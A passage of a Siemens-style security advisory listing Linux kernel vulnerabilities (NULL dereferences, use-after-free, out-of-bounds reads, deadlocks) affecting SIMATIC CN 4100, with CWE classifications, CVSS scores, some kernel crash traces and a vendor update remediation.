ignore due to missing hardware component on the system. On module removal the soc_tplg_remove_link() would call snd_soc_remove_pcm_runtime() with rtd == NULL since the link was ignored, no runtime was created.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38707\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: Add sanity check for file name The length of the file name should be smaller than the directory entry size.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38708\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drbd: add missing kref_get in handle_write_conflicts With `two-primaries` enabled, DRBD tries to detect \"concurrent\" writes and handle write conflicts, so that even if you write to the same sector simultaneously on both nodes, they end up with the identical data once the writes are completed. In handling \"superseeded\" writes, we forgot a kref_get, resulting in a premature drbd_destroy_device and use after free, and further to kernel crashes with symptoms. Relevance: No one should use DRBD as a random data generator, and apparently all users of \"two-primaries\" handle concurrent writes correctly on layer up. That is cluster file systems use some distributed lock manager, and live migration in virtualization environments stops writes on one node before starting writes on the other node. Which means that other than for \"test cases\", this code path is never taken in real life. FYI, in DRBD 9, things are handled differently nowadays. We still detect \"write conflicts\", but no longer try to be smart about them. We decided to disconnect hard instead: upper layers must not submit concurrent writes. If they do, that's their fault.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38711\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb/server: avoid deadlock when linking with ReplaceIfExists If smb2_create_link() is called with ReplaceIfExists set and the name does exist then a deadlock will happen. ksmbd_vfs_kern_path_locked() will return with success and the parent directory will be locked. ksmbd_vfs_remove_file() will then remove the file. ksmbd_vfs_link() will then be called while the parent is still locked. It will try to lock the same parent and will deadlock. This patch moves the ksmbd_vfs_kern_path_unlock() call to *before* ksmbd_vfs_link() and then simplifies the code, removing the file_present flag variable.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38712\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: don't use BUG_ON() in hfsplus_create_attributes_file() When the volume header contains erroneous values that do not reflect the actual state of the filesystem, hfsplus_fill_super() assumes that the attributes file is not yet created, which later results in hitting BUG_ON() when hfsplus_create_attributes_file() is called. Replace this BUG_ON() with -EIO error with a message to suggest running fsck tool.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38713\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds read in hfsplus_uni2asc() The hfsplus_readdir() method is capable to crash by calling hfsplus_uni2asc(): [ 667.121659][ T9805] ================================================================== [ 667.122651][ T9805] BUG: KASAN: slab-out-of-bounds in hfsplus_uni2asc+0x902/0xa10 [ 667.123627][ T9805] Read of size 2 at addr ffff88802592f40c by task repro/9805 [ 667.124578][ T9805] [ 667.124876][ T9805] CPU: 3 UID: 0 PID: 9805 Comm: repro Not tainted 6.16.0-rc3 #1 PREEMPT(full) [ 667.124886][ T9805] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 667.124890][ T9805] Call Trace: [ 667.124893][ T9805] [ 667.124896][ T9805] dump_stack_lvl+0x10e/0x1f0 [ 667.124911][ T9805] print_report+0xd0/0x660 [ 667.124920][ T9805] ? __virt_addr_valid+0x81/0x610 [ 667.124928][ T9805] ? __phys_addr+0xe8/0x180 [ 667.124934][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124942][ T9805] kasan_report+0xc6/0x100 [ 667.124950][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124959][ T9805] hfsplus_uni2asc+0x902/0xa10 [ 667.124966][ T9805] ? hfsplus_bnode_read+0x14b/0x360 [ 667.124974][ T9805] hfsplus_readdir+0x845/0xfc0 [ 667.124984][ T9805] ? __pfx_hfsplus_readdir+0x10/0x10 [ 667.124994][ T9805] ? stack_trace_save+0x8e/0xc0 [ 667.125008][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125015][ T9805] ? trace_lock_acquire+0x85/0xd0 [ 667.125022][ T9805] ? lock_acquire+0x30/0x80 [ 667.125029][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125037][ T9805] ? down_read_killable+0x1ed/0x4c0 [ 667.125044][ T9805] ? putname+0x154/0x1a0 [ 667.125051][ T9805] ? __pfx_down_read_killable+0x10/0x10 [ 667.125058][ T9805] ? apparmor_file_permission+0x239/0x3e0 [ 667.125069][ T9805] iterate_dir+0x296/0xb20 [ 667.125076][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.125084][ T9805] ? __pfx___x64_sys_getdents64+0x10/0x10 [ 667.125091][ T9805] ? __x64_sys_openat+0x141/0x200 [ 667.125126][ T9805] ? __pfx_filldir64+0x10/0x10 [ 667.125134][ T9805] ? do_user_addr_fault+0x7fe/0x12f0 [ 667.125143][ T9805] do_syscall_64+0xc9/0x480 [ 667.125151][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.125158][ T9805] RIP: 0033:0x7fa8753b2fc9 [ 667.125164][ T9805] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 48 [ 667.125172][ T9805] RSP: 002b:00007ffe96f8e0f8 EFLAGS: 00000217 ORIG_RAX: 00000000000000d9 [ 667.125181][ T9805] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fa8753b2fc9 [ 667.125185][ T9805] RDX: 0000000000000400 RSI: 00002000000063c0 RDI: 0000000000000004 [ 667.125190][ T9805] RBP: 00007ffe96f8e110 R08: 00007ffe96f8e110 R09: 00007ffe96f8e110 [ 667.125195][ T9805] R10: 0000000000000000 R11: 0000000000000217 R12: 0000556b1e3b4260 [ 667.125199][ T9805] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 667.125207][ T9805] [ 667.125210][ T9805] [ 667.145632][ T9805] Allocated by task 9805: [ 667.145991][ T9805] kasan_save_stack+0x20/0x40 [ 667.146352][ T9805] kasan_save_track+0x14/0x30 [ 667.146717][ T9805] __kasan_kmalloc+0xaa/0xb0 [ 667.147065][ T9805] __kmalloc_noprof+0x205/0x550 [ 667.147448][ T9805] hfsplus_find_init+0x95/0x1f0 [ 667.147813][ T9805] hfsplus_readdir+0x220/0xfc0 [ 667.148174][ T9805] iterate_dir+0x296/0xb20 [ 667.148549][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.148937][ T9805] do_syscall_64+0xc9/0x480 [ 667.149291][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.149809][ T9805] [ 667.150030][ T9805] The buggy address belongs to the object at ffff88802592f000 [ 667.150030][ T9805] which belongs to the cache kmalloc-2k of size 2048 [ 667.151282][ T9805] The buggy address is located 0 bytes to the right of [ 667.151282][ T9805] allocated 1036-byte region [ffff88802592f000, ffff88802592f40c) [ 667.1 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38714\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds in hfsplus_bnode_read() The hfsplus_bnode_read() method can trigger the issue: [ 174.852007][ T9784] ================================================================== [ 174.852709][ T9784] BUG: KASAN: slab-out-of-bounds in hfsplus_bnode_read+0x2f4/0x360 [ 174.853412][ T9784] Read of size 8 at addr ffff88810b5fc6c0 by task repro/9784 [ 174.854059][ T9784] [ 174.854272][ T9784] CPU: 1 UID: 0 PID: 9784 Comm: repro Not tainted 6.16.0-rc3 #7 PREEMPT(full) [ 174.854281][ T9784] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 174.854286][ T9784] Call Trace: [ 174.854289][ T9784] [ 174.854292][ T9784] dump_stack_lvl+0x10e/0x1f0 [ 174.854305][ T9784] print_report+0xd0/0x660 [ 174.854315][ T9784] ? __virt_addr_valid+0x81/0x610 [ 174.854323][ T9784] ? __phys_addr+0xe8/0x180 [ 174.854330][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854337][ T9784] kasan_report+0xc6/0x100 [ 174.854346][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854354][ T9784] hfsplus_bnode_read+0x2f4/0x360 [ 174.854362][ T9784] hfsplus_bnode_dump+0x2ec/0x380 [ 174.854370][ T9784] ? __pfx_hfsplus_bnode_dump+0x10/0x10 [ 174.854377][ T9784] ? hfsplus_bnode_write_u16+0x83/0xb0 [ 174.854385][ T9784] ? srcu_gp_start+0xd0/0x310 [ 174.854393][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854402][ T9784] hfsplus_brec_remove+0x3d2/0x4e0 [ 174.854411][ T9784] __hfsplus_delete_attr+0x290/0x3a0 [ 174.854419][ T9784] ? __pfx_hfs_find_1st_rec_by_cnid+0x10/0x10 [ 174.854427][ T9784] ? __pfx___hfsplus_delete_attr+0x10/0x10 [ 174.854436][ T9784] ? __asan_memset+0x23/0x50 [ 174.854450][ T9784] hfsplus_delete_all_attrs+0x262/0x320 [ 174.854459][ T9784] ? __pfx_hfsplus_delete_all_attrs+0x10/0x10 [ 174.854469][ T9784] ? rcu_is_watching+0x12/0xc0 [ 174.854476][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854483][ T9784] hfsplus_delete_cat+0x845/0xde0 [ 174.854493][ T9784] ? __pfx_hfsplus_delete_cat+0x10/0x10 [ 174.854507][ T9784] hfsplus_unlink+0x1ca/0x7c0 [ 174.854516][ T9784] ? __pfx_hfsplus_unlink+0x10/0x10 [ 174.854525][ T9784] ? down_write+0x148/0x200 [ 174.854532][ T9784] ? __pfx_down_write+0x10/0x10 [ 174.854540][ T9784] vfs_unlink+0x2fe/0x9b0 [ 174.854549][ T9784] do_unlinkat+0x490/0x670 [ 174.854557][ T9784] ? __pfx_do_unlinkat+0x10/0x10 [ 174.854565][ T9784] ? __might_fault+0xbc/0x130 [ 174.854576][ T9784] ? getname_flags.part.0+0x1c5/0x550 [ 174.854584][ T9784] __x64_sys_unlink+0xc5/0x110 [ 174.854592][ T9784] do_syscall_64+0xc9/0x480 [ 174.854600][ T9784] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 174.854608][ T9784] RIP: 0033:0x7f6fdf4c3167 [ 174.854614][ T9784] Code: f0 ff ff 73 01 c3 48 8b 0d 26 0d 0e 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 08 [ 174.854622][ T9784] RSP: 002b:00007ffcb948bca8 EFLAGS: 00000206 ORIG_RAX: 0000000000000057 [ 174.854630][ T9784] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6fdf4c3167 [ 174.854636][ T9784] RDX: 00007ffcb948bcc0 RSI: 00007ffcb948bcc0 RDI: 00007ffcb948bd50 [ 174.854641][ T9784] RBP: 00007ffcb948cd90 R08: 0000000000000001 R09: 00007ffcb948bb40 [ 174.854645][ T9784] R10: 00007f6fdf564fc0 R11: 0000000000000206 R12: 0000561e1bc9c2d0 [ 174.854650][ T9784] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 174.854658][ T9784] [ 174.854661][ T9784] [ 174.879281][ T9784] Allocated by task 9784: [ 174.879664][ T9784] kasan_save_stack+0x20/0x40 [ 174.880082][ T9784] kasan_save_track+0x14/0x30 [ 174.880500][ T9784] __kasan_kmalloc+0xaa/0xb0 [ 174.880908][ T9784] __kmalloc_noprof+0x205/0x550 [ 174.881337][ T9784] __hfs_bnode_create+0x107/0x890 [ 174.881779][ T9784] hfsplus_bnode_find+0x2d0/0xd10 [ 174.882222][ T9784] hfsplus_brec_find+0x2b0/0x520 [ 174.882659][ T9784] hfsplus_delete_all_attrs+0x23b/0x3 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38715\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfs: fix slab-out-of-bounds in hfs_bnode_read() This patch introduces is_bnode_offset_valid() method that checks the requested offset value. Also, it introduces check_and_correct_requested_length() method that checks and correct the requested length (if it is necessary). These methods are used in hfs_bnode_read(), hfs_bnode_write(), hfs_bnode_clear(), hfs_bnode_copy(), and hfs_bnode_move() with the goal to prevent the access out of allocated memory and triggering the crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38721\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: fix refcount leak on table dump There is a reference count leak in ctnetlink_dump_table(): if (res < 0) { nf_conntrack_get(&ct->ct_general); // HERE cb->args[1] = (unsigned long)ct; ... While its very unlikely, its possible that ct == last. If this happens, then the refcount of ct was already incremented. This 2nd increment is never undone. This prevents the conntrack object from being released, which in turn keeps prevents cnet->count from dropping back to 0. This will then block the netns dismantle (or conntrack rmmod) as nf_conntrack_cleanup_net_list() will wait forever. This can be reproduced by running conntrack_resize.sh selftest in a loop. It takes ~20 minutes for me on a preemptible kernel on average before I see a runaway kworker spinning in nf_conntrack_cleanup_net_list. One fix would to change this to: if (res < 0) { if (ct != last) nf_conntrack_get(&ct->ct_general); But this reference counting isn't needed in the first place. We can just store a cookie value instead. A followup patch will do the same for ctnetlink_exp_dump_table, it looks to me as if this has the same problem and like ctnetlink_dump_table, we only need a 'skip hint', not the actual object so we can apply the same cookie strategy there as well.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-772 Missing Release of Resource after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38723\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: LoongArch: BPF: Fix jump offset calculation in tailcall The extra pass of bpf_int_jit_compile() skips JIT context initialization which essentially skips offset calculation leaving out_offset = -1, so the jmp_offset in emit_bpf_tail_call is calculated by \"#define jmp_offset (out_offset - (cur_offset))\" is a negative number, which is wrong. The final generated assembly are as follow. 54: bgeu $a2, $t1, -8 # 0x0000004c 58: addi.d $a6, $s5, -1 5c: bltz $a6, -16 # 0x0000004c 60: alsl.d $t2, $a2, $a1, 0x3 64: ld.d $t2, $t2, 264 68: beq $t2, $zero, -28 # 0x0000004c Before apply this patch, the follow test case will reveal soft lock issues. cd tools/testing/selftests/bpf/ ./test_progs --allow=tailcalls/tailcall_bpf2bpf_1 dmesg: watchdog: BUG: soft lockup - CPU#2 stuck for 26s! [test_progs:25056]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38724\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: nfsd: handle get_client_locked() failure in nfsd4_setclientid_confirm() Lei Lu recently reported that nfsd4_setclientid_confirm() did not check the return value from get_client_locked(). a SETCLIENTID_CONFIRM could race with a confirmed client expiring and fail to get a reference. That could later lead to a UAF. Fix this by getting a reference early in the case where there is an extant confirmed client. If that fails then treat it as if there were no confirmed client found at all. In the case where the unconfirmed client is expiring, just fail and return the result from get_client_locked().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38725\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: add phy_mask for ax88772 mdio bus Without setting phy_mask for ax88772 mdio bus, current driver may create at most 32 mdio phy devices with phy address range from 0x00 ~ 0x1f. DLink DUB-E100 H/W Ver B1 is such a device. However, only one main phy device will bind to net phy driver. This is creating issue during system suspend/resume since phy_polling_mode() in phy_state_machine() will directly deference member of phydev->drv for non-main phy devices. Then NULL pointer dereference issue will occur. Due to only external phy or internal phy is necessary, add phy_mask for ax88772 mdio bus to workarnoud the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38727\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netlink: avoid infinite retry looping in netlink_unicast() netlink_attachskb() checks for the socket's read memory allocation constraints. Firstly, it has: rmem < READ_ONCE(sk->sk_rcvbuf) to check if the just increased rmem value fits into the socket's receive buffer. If not, it proceeds and tries to wait for the memory under: rmem + skb->truesize > READ_ONCE(sk->sk_rcvbuf) The checks don't cover the case when skb->truesize + sk->sk_rmem_alloc is equal to sk->sk_rcvbuf. Thus the function neither successfully accepts these conditions, nor manages to reschedule the task - and is called in retry loop for indefinite time which is caught as: rcu: INFO: rcu_sched self-detected stall on CPU rcu: 0-....: (25999 ticks this GP) idle=ef2/1/0x4000000000000000 softirq=262269/262269 fqs=6212 (t=26000 jiffies g=230833 q=259957) NMI backtrace for cpu 0 CPU: 0 PID: 22 Comm: kauditd Not tainted 5.10.240 #68 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc42 04/01/2014 Call Trace: dump_stack lib/dump_stack.c:120 nmi_cpu_backtrace.cold lib/nmi_backtrace.c:105 nmi_trigger_cpumask_backtrace lib/nmi_backtrace.c:62 rcu_dump_cpu_stacks kernel/rcu/tree_stall.h:335 rcu_sched_clock_irq.cold kernel/rcu/tree.c:2590 update_process_times kernel/time/timer.c:1953 tick_sched_handle kernel/time/tick-sched.c:227 tick_sched_timer kernel/time/tick-sched.c:1399 __hrtimer_run_queues kernel/time/hrtimer.c:1652 hrtimer_interrupt kernel/time/hrtimer.c:1717 __sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1113 asm_call_irq_on_stack arch/x86/entry/entry_64.S:808 netlink_attachskb net/netlink/af_netlink.c:1234 netlink_unicast net/netlink/af_netlink.c:1349 kauditd_send_queue kernel/audit.c:776 kauditd_thread kernel/audit.c:897 kthread kernel/kthread.c:328 ret_from_fork arch/x86/entry/entry_64.S:304 Restore the original behavior of the check which commit in Fixes accidentally missed when restructuring the code. Found by Linux Verification Center (linuxtesting.org).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38728\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb3: fix for slab out of bounds on mount to ksmbd With KASAN enabled, it is possible to get a slab out of bounds during mount to ksmbd due to missing check in parse_server_interfaces() (see below): BUG: KASAN: slab-out-of-bounds in parse_server_interfaces+0x14ee/0x1880 [cifs] Read of size 4 at addr ffff8881433dba98 by task mount/9827 CPU: 5 UID: 0 PID: 9827 Comm: mount Tainted: G OE 6.16.0-rc2-kasan #2 PREEMPT(voluntary) Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: Dell Inc. Precision Tower 3620/0MWYPT, BIOS 2.13.1 06/14/2019 Call Trace: dump_stack_lvl+0x9f/0xf0 print_report+0xd1/0x670 __virt_addr_valid+0x22c/0x430 ? parse_server_interfaces+0x14ee/0x1880 [cifs] ? kasan_complete_mode_report_info+0x2a/0x1f0 ? parse_server_interfaces+0x14ee/0x1880 [cifs] kasan_report+0xd6/0x110 parse_server_interfaces+0x14ee/0x1880 [cifs] __asan_report_load_n_noabort+0x13/0x20 